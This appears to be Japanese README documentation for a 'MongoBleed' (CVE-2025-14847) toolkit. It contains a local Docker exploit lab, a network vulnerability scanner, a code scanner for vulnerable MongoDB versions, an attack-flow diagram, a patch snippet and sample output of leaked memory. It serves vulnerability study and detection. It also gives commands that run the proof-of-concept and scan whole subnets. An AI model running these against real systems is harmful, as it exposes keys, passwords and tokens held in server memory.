// 脆弱なコード（修正前）
counterHitDecompress(input.length(), output.length());
return {output.length()};  // ❌ 割り当てられたバッファサイズを返す

// 修正後のコード
counterHitDecompress(input.length(), output.length());
return length;             // ✅ 実際の展開データ長を返す

┌─────────────────────────────────────────────────────────────────────────────┐
│                        MongoBleed 攻撃ベクトル                              │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   攻撃者                          脆弱な MongoDB                             │
│      │                                    │                                  │
│      │  1. OP_COMPRESSED メッセージを送信  │                                  │
│      │     uncompressedSize: 8192 (偽装)   │                                  │
│      │     実際のデータ: 約100バイト        │                                  │
│      │────────────────────────────────────>                                  │
│      │                                    │                                  │
│      │                          2. 8192バイトのバッファを割り当て            │
│      │                          3. 約100バイトを展開                         │
│      │                          4. バグ: buffer.length() = 8192 を返す       │
│      │                          5. BSONパーサーが初期化されていないメモリを読む│
│      │                                    │                                  │
│      │  6. フィールド名として漏洩メモリを含むエラーレスポンス                │
│      │<────────────────────────────────────                                  │
│      │                                    │                                  │
│   🔓 漏洩データ:                          │                                  │
│      - APIキー、パスワード、トークン                                          │
│      - MongoDB 内部状態                                                      │
│      - WiredTiger ストレージ設定                                              │
│      - システム /proc 情報                                                   │
│      - クライアント接続データ                                                 │
│                                                                              │
└─────────────────────────────────────────────────────────────────────────────┘

mongobleed-exploit-CVE-2025-14847/
├── exploit/                    # 🔴 エクスプロイトラボ
│   ├── docker-compose.yml      # 脆弱なMongoDB + 修正済みMongoDBインスタンス
│   ├── mongobleed.py           # メモリ漏洩エクスプロイト PoC
│   ├── init/init-mongo.js      # 機密テストデータ
│   ├── test-exploit.sh         # ラボテストスクリプト
│   └── README.md               # ラボドキュメント
│
├── scanner/                    # 🌐 ネットワークスキャナー
│   ├── mongobleed_scanner.py   # IP/ドメイン脆弱性スキャナー
│   ├── sample-targets.txt      # サンプルターゲットファイル
│   └── README.md               # スキャナードキュメント
│
├── code-scan/                  # 📂 コードスキャナー
│   ├── main.py                 # CLI エントリポイント
│   ├── scanners/               # Docker, Python, インフラストラクチャスキャナー
│   ├── models/                 # Finding, Vulnerability モデル
│   ├── integrations/           # Phoenix Security アップロード
│   └── README.md               # コードスキャナードキュメント
│
└── original-exploit/           # 📚 オリジナル PoC リファレンス

cd exploit

# ラボを起動（脆弱 + 修正済みインスタンス）
docker-compose up -d
sleep 10

# 脆弱インスタンスをテスト（メモリ漏洩が発生するはず）
python3 mongobleed.py --host localhost --port 27017

# 修正済みインスタンスをテスト（メモリ漏洩が発生しないはず）
python3 mongobleed.py --host localhost --port 27018

# ラボ全体のテスト
./test-exploit.sh

cd scanner

# 単一ホストをスキャン
python3 mongobleed_scanner.py 192.168.1.100

# ネットワークレンジをスキャン
python3 mongobleed_scanner.py 192.168.1.0/24

# ファイルからスキャン
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json

cd code-scan

# 脆弱なMongoDBバージョンをプロジェクトからスキャン
python3 main.py scan /path/to/project

# スキャンしてPhoenixにアップロード
python3 main.py scan /path/to/project --upload-phoenix

# テストを実行
python3 main.py test

# === エクスプロイトラボ ===
# ラボを起動
cd exploit && docker-compose up -d && sleep 10

# エクスプロイトを実行（脆弱インスタンス）
python3 exploit/mongobleed.py --host localhost --port 27017

# エクスプロイトを実行（修正済みインスタンス - 漏洩がないことを確認）
python3 exploit/mongobleed.py --host localhost --port 27018

# === ネットワークスキャナー ===
# ローカルラボをスキャン
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018

# ネットワークをスキャン
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20

# === コードスキャナー ===
# カレントディレクトリをスキャン
python3 code-scan/main.py scan .

# JSON出力でスキャン
python3 code-scan/main.py scan /path/to/project --json --output results.json

# スキャンしてPhoenixにアップロード
python3 code-scan/main.py scan /path/to/project --upload-phoenix

[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...

[+] offset=  117 len=  39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable:    8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...

[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42

[!] Potential secrets detected:
    • RSA Private Key
    • Lab Secret

[*] Scanning 254 targets with 10 threads...

[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]

SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts:       12
MongoDB instances:     8
VULNERABLE:            3

================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================

🚨 VULNERABLE MONGODB VERSIONS DETECTED

1. [email protected]
   File: /project/docker-compose.yml
   Type: docker-compose
   Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
   ✅ Upgrade to: 8.2.3
   CVE: CVE-2025-14847

# 設定ファイルの作成
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config

# 認証情報を編集
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud

# スキャンしてアップロード
python3 code-scan/main.py scan /path/to/project --upload-phoenix